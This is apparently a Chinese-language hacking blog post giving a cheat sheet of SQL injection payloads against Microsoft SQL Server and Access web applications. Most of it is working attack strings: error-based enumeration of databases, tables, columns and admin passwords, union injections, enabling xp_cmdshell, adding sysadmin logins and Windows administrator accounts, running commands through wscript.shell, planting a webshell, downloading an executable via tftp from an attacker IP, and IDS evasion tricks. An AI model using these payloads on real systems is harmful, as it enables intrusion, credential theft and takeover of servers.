  ;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 
  1=(%20select%20count(*)%20from%20master.dbo.sysobjects%20where%20xtype='x'%20and%20name='xp_cmdshell') 
  and 1=(select IS_SRVROLEMEMBER('sysadmin')) 判断sa权限是否 
  and 0<>(select top 1 paths from newtable)-- 暴库大法 
    and 1=(select name from master.dbo.sysdatabases where dbid=7) 得到库名(从1到5都是系统的id,6以上才可以判断) 
  创建一个虚拟目录E盘: 
  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/mkwebdir.vbs -w "默认 Web 站点" -v "e","e:/"' 
  访问属性:(配合写入一个webshell) 
  declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:/inetpub/wwwroot/chaccess.vbs -a w3svc/1/ROOT/e +browse' 
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
  依次提交 dbid = 7,8,9.... 得到更多的数据库名 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 暴到一个表 假设为 admin 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in ('Admin')) 来得到其他的表。 
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin'and uid>(str(id))) 暴到UID的数值假设为18779569 uid=id 
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个字段,假设为 user_id 
  and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in('id',...)) 来暴出其他的字段 
  and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名 
  依次可以得到密码。。。。。假设存在user_id username ,password 等字段 
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin 
  Show.asp?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin 
  (union语句到处风靡啊,access也好用 
  暴库特殊技巧::%5c='/' 或者把/和/ 修改%5提交 
  and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U') 得到表名 
  and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype='U' and name not in('Address')) 
  and 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id))) 判断id值 
  and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有字段 
 http://xx.xx.xx.xx/111.asp?id=3400;create table [dbo].[swap] ([swappass][char](255));-- 
 http://xx.xx.xx.xx/111.asp?id=3400 and (select top 1 swappass from swap)=1 
  ;create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread @rootkey='HKEY_LOCAL_MACHINE', @key='SYSTEM/CurrentControlSet/Services/W3SVC/Parameters/Virtual Roots/', @value_name='/', values=@test OUTPUT insert into paths(path) values(@test) 
 http://61.131.96.39/PageShow.asp?TianName=政策法规&InfoID={57C4165A-4206-4C0D-A8D2-E70666EE4E08};use%20master;declare%20@s%20%20int;exec%20sp_oacreate%20"wscript.shell",@s%20out;exec%20sp_oamethod%20@s,"run",NULL,"cmd.exe%20/c%20ping%201.1.1.1";-- 
  得到了web路径d:/xxxx,接下来: 
 http://xx.xx.xx.xx/111.asp?id=3400;use ku1;-- 
 http://xx.xx.xx.xx/111.asp?id=3400;create table cmd (str image);-- 
  传统的存在xp_cmdshell的测试过程: 
  ;exec master..xp_cmdshell 'dir' 
  ;exec master.dbo.sp_addlogin hax;-- 
  ;exec master.dbo.sp_password null,hax,hax;-- 
  ;exec master.dbo.sp_addsrvrolemember hax sysadmin;-- 
  ;exec master.dbo.xp_cmdshell 'net user hax 5258 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 
  ;exec master.dbo.xp_cmdshell 'net localgroup administrators hax /add';-- 
  exec master..xp_servicecontrol 'start', 'schedule' 
  exec master..xp_servicecontrol 'start', 'server' 
  http://www.xxx.com/list.asp?classid=1; DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net user swap 5258 /add' 
  ;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:/WINNT/system32/cmd.exe /c net localgroup administrators swap/add' 
 http://localhost/show.asp?id=1'; exec master..xp_cmdshell 'tftp -i youip get file.exe'- 
  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
  ;declare @a;set @a=db_name();backup database @a to disk='你的IP你的共享目录bak.dat' 
  如果被限制则可以。 
  select * from openrowset('sqloledb','server';'sa';'','select ''OK!'' exec master.dbo.sp_addlogin hax') 
  传统查询构造: 
  select * FROM news where id=... AND topic=... AND ..... 
  admin'and 1=(select count(*) from [user] where username='victim' and right(left(userpass,01),1)='1') and userpass <>' 
  select 123;-- 
  ;use master;-- 
  :a' or name like 'fff%';-- 显示有一个叫ffff的用户哈。 
  'and 1<>(select count(email) from [user]);-- 
  ;update [users] set email=(select top 1 name from sysobjects where xtype='u' and status>0) where name='ffff';-- 
  说明: 
  上面的语句是得到数据库中的第一个用户表,并把表名放在ffff用户的邮箱字段中。 
  通过查看ffff的用户资料可得第一个用表叫ad 
  然后根据表名ad得到这个表的ID 
  ffff';update [users] set email=(select top 1 id from sysobjects where xtype='u' and name='ad') where name='ffff';-- 
  象下面这样就可以得到第二个表的名字了 
  ffff';update [users] set email=(select top 1 name from sysobjects where xtype='u' and id>581577110) where name='ffff';--< 
BR>  ffff';update [users] set email=(select top 1 count(id) from password) where name='ffff';-- 
  ffff';update [users] set email=(select top 1 pwd from password where id=2) where name='ffff';-- 
  ffff';update [users] set email=(select top 1 name from password where id=2) where name='ffff';-- 
  exec master..xp_servicecontrol 'start', 'schedule' 
  exec master..xp_servicecontrol 'start', 'server' 
  sp_addextendedproc 'xp_webserver', 'c:/temp/xp_foo.dll' 
  扩展存储就可以通过一般的方法调用: 
  exec xp_webserver 
  一旦这个扩展存储执行过,可以这样删除它: 
  sp_dropextendedproc 'xp_webserver' 
  insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)- 
  insert into users values( 667,123,123,0xffff)- 
  insert into users values ( 123, 'admin''--', 'password', 0xffff)- 
  ;and user>0 
  ;;and (select count(*) from sysobjects)>0 
  ;;and (select count(*) from mysysobjects)>0 //为access数据库 
  -----------------------------------------------------------通常注射的一些介绍: 
  A) ID=49 这类注入的参数是数字型,SQL语句原貌大致如下: 
  select * from 表名 where 字段=49 
  注入的参数为ID=49 And [查询条件],即是生成语句: 
  select * from 表名 where 字段=49 And [查询条件] 
  (B) Class=连续剧 这类注入的参数是字符型,SQL语句原貌大致概如下: 
  select * from 表名 where 字段='连续剧' 
  注入的参数为Class=连续剧' and [查询条件] and ''=' ,即是生成语句: 
  select * from 表名 where 字段='连续剧' and [查询条件] and ''='' 
  (C) 搜索时没过滤参数的,如keyword=关键字,SQL语句原貌大致如下: 
  select * from 表名 where 字段like '%关键字%' 
  注入的参数为keyword=' and [查询条件] and '%25'=', 即是生成语句: 
  select * from 表名 where字段like '%' and [查询条件] and '%'='%' 
  ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0 
  sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype='U' and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来。 
  ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0 
  从⑤拿到表名后,用object_id('表名')获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名。 
  post.htm内容:主要是方便输入。 
  枚举出他的数据表名: 
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0);-- 
  这是将第一个表名更新到aaa的字段处。 
  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>'刚才得到的表名')。 
  id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype='u' and status>0 and name<>'vote');-- 
  然后id=1552 and exists(select * from aaa where aaa>5) 
  读出第二 

表,^^^^^^一个个的读出,直到没有为止。 
  读字段是这样: 
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),1));-- 
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 
  id=1552;update aaa set aaa=(select top 1 col_name(object_id('表名'),2));-- 
  然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名 
  --------------------------------高级技巧: 
  [获得数据表名][将字段值更新为表名,再想法读出这个字段的值就可得到表名] 
  update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条件] 
  select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…) 
  通过SQLSERVER注入漏洞建数据库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组] 
  [获得数据表字段名][将字段值更新为字段名,再想法读出这个字段的值就可得到字段名] 
  update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条件] 
  绕过IDS的检测[使用变量] 
  declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:/' 
  declare @a sysname set @a='xp'+'_cm'+'dshell' exec @a 'dir c:/' 
  1、 开启远程数据库 
  基本语法 
  select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' ) 
  参数: (1) OLEDB Provider name 
  2
posted @ 2013-03-31 12:55  Crack's_Blog  阅读(70997)  评论(0编辑  收藏  举报